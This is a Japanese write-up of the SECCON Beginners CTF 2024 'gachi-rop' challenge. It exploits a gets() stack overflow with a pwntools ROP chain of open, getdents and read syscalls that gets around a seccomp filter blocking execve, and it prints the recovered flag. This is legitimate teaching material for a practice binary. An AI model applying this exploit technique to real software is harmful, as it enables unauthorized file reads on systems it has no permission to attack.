[pwn] gachi-rop (SECCON Beginners CTF 2024) writeup

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• Source: SECCON Beginners CTF 2024
• Author: Satoki

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問題バイナリとlibcが与えられる。Dockerfile付きで嬉しいが、ソースコードは無くて悲しい。
実行してみると、よくあるStack問っぽい雰囲気。system関数のアドレスが与えられているのも嬉しい。

$ ./gachi-rop
system@0x7086b6858750
Name: aaa
Hello, gachi-rop-aaa!!

まずはchecksecする。防御機構はNX以外ほぼ全オフになっていて、脆弱性が分かれば何でもできそう。

$ checksec --file=gachi-rop
[*] '/path/to/gachi-rop'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

Ghidraでデコンパイルしてみるとgets関数でスタックに書き込んでおり、自明なBuffer Overflowがある。また、install_seccomp()によってseccompが設定されている。

undefined8 main(void)

{
  char local_18 [16];
  
  install_seccomp();
  printf("system@%p\n",system);
  local_18[0] = '\0';
  local_18[1] = '\0';
  local_18[2] = '\0';
  local_18[3] = '\0';
  local_18[4] = '\0';
  local_18[5] = '\0';
  local_18[6] = '\0';
  local_18[7] = '\0';
  local_18[8] = '\0';
  local_18[9] = '\0';
  local_18[10] = '\0';
  local_18[0xb] = '\0';
  local_18[0xc] = '\0';
  local_18[0xd] = '\0';
  local_18[0xe] = '\0';
  local_18[0xf] = '\0';
  printf("Name: ");
  gets(local_18);
  printf("Hello, gachi-rop-%s!!\n",local_18);
  return 0;
}

ということで、seccomp-toolsを使ってどのような制限がかけられているか確認する。

$ seccomp-tools dump ./gachi-rop
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x03 0x00 0x40000000  if (A >= 0x40000000) goto 0007
 0004: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0007
 0005: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00050000  return ERRNO(0)

execveとexecveatが制限されているので、それらを内部で呼び出しているsystem関数も当然使えない。またDockerfileを見れば分かるが、flagのファイル名も推測困難になっており、まずはファイル名を特定する必要がある。
よって方針としては、NX bitをがんばって反転させてshellcodeを実行するか、ROPでread->writeをやることになる。今回は後者の方針でいく。

まず、flagが置かれているパス/app/ctf4bなどの文字列をどうやって作るかが問題になる。これをROPだけで作り上げるのは難しいため、一旦.bssの適当な場所にgetsで書き込んでおくことにする。

rop = ROP(libc, badchars=b'\x0a')
bss = elf.bss() + 0x800

rop.call(elf.symbols['gets'], [bss])    # write path to bss

payload = b"A"*0x18
payload += rop.chain()
io.sendlineafter("Name: ", payload)
io.sendline(b"/app/ctf4b")              # send dir path

あとはレジスタをいい感じに制御して最後にsyscallを呼び出すROP chainを頑張って作成すれば良い。具体的な流れとしては、

1. .bssに/app/ctf4bを書き込む
2. /app/ctf4bのディレクトリエントリを読む
3. stdoutに書き込み、pwntools側でflagのpathを取得する
4. 新たな接続で.bssにflagのpathを書き込む
5. flagのファイルを読む
6. stdoutに書き込み、pwntools側でflagを取得する

という感じ。スクリプトに書き起こすとこうなる。

from pwn import *

elf = ELF('./gachi-rop')
libc = ELF('./libc.so.6')

context.binary = elf
# context.log_level = 'debug'


def get_conn_and_libc():
    io = remote("localhost", 4567)
    io.recvuntil(b'system@')
    libc_system = int(io.recvline().strip(), 16)

    # reset libc base
    libc.address = 0
    libc.address = libc_system - libc.symbols['system']
    assert libc.address & 0xfff == 0
    log.info(f'libc base: {hex(libc.address)}')
    return io


def get_syscall_caller(rop):
    pop_rax = rop.find_gadget(['pop rax', 'ret'])[0]
    pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
    pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
    pop_rdx_r12 = rop.find_gadget(['pop rdx', 'pop r12', 'ret'])[0]
    syscall = rop.find_gadget(['syscall', 'ret'])[0]

    def add_syscall(rax, rdi, rsi, rdx):
        rop.raw([pop_rax, rax])
        rop.raw([pop_rdi, rdi])
        rop.raw([pop_rsi, rsi])
        rop.raw([pop_rdx_r12, rdx, 0])
        rop.raw(syscall)

    return add_syscall


# setup ROP 1
io = get_conn_and_libc()
rop = ROP(libc, badchars=b'\x0a')
bss = elf.bss() + 0x800
add_syscall = get_syscall_caller(rop)

rop.call(elf.symbols['gets'], [bss])    # write path to bss
add_syscall(2, bss, 0o200000, 0)        # open dir
add_syscall(78, 3, bss, 0x100)          # get dir entries
add_syscall(1, 1, bss, 0x100)           # write to stdout

# send payload
payload = b"A"*0x18
payload += rop.chain()
io.sendlineafter("Name: ", payload)
io.sendline(b"/app/ctf4b")              # send dir path

# get flag path
recv = io.recvall(timeout=1).decode(errors='ignore')
flag_path = "/app/ctf4b/flag-" + recv.split("flag-")[1].split("\x00")[0]
log.success(f'flag path: {flag_path}')
io.close()


# setup ROP 2
io = get_conn_and_libc()
rop = ROP(libc, badchars=b'\x0a')
bss = elf.bss() + 0x800
add_syscall = get_syscall_caller(rop)

rop.call(elf.symbols['gets'], [bss])    # write path to bss
add_syscall(2, bss, 0, 0)               # open file
add_syscall(0, 3, bss, 0x100)           # read file
add_syscall(1, 1, bss, 0x100)           # write to stdout

# send payload
payload = b"A"*0x18
payload += rop.chain()
io.sendlineafter("Name: ", payload)
io.sendline(flag_path.encode())         # send flag path

# get flag
recv = io.recvall(timeout=1).decode(errors='ignore')
flag = "ctf4b{" + recv.split("ctf4b{")[1].split("}")[0] + "}"
log.success(f'flag: {flag}')

これを実行するとflagが得られた。

$ python3 solver.py
[+] Opening connection to localhost on port 4567: Done
[*] libc base: 0x77000b197000
[*] Loaded 219 cached gadgets for './libc.so.6'
[+] Receiving all data: Done (304B)
[*] Closed connection to localhost port 4567
[+] flag path: /app/ctf4b/flag-40ff81b29993c8fc02dbf404eddaf143.txt
[+] Opening connection to localhost on port 4567: Done
[*] libc base: 0x7ed382ec7000
[+] Receiving all data: Done (306B)
[*] Closed connection to localhost port 4567
[+] flag: ctf4b{64ch1_r0p_r3qu1r35_mu5cl3_3h3h3}

ctf4b{64ch1_r0p_r3qu1r35_mu5cl3_3h3h3}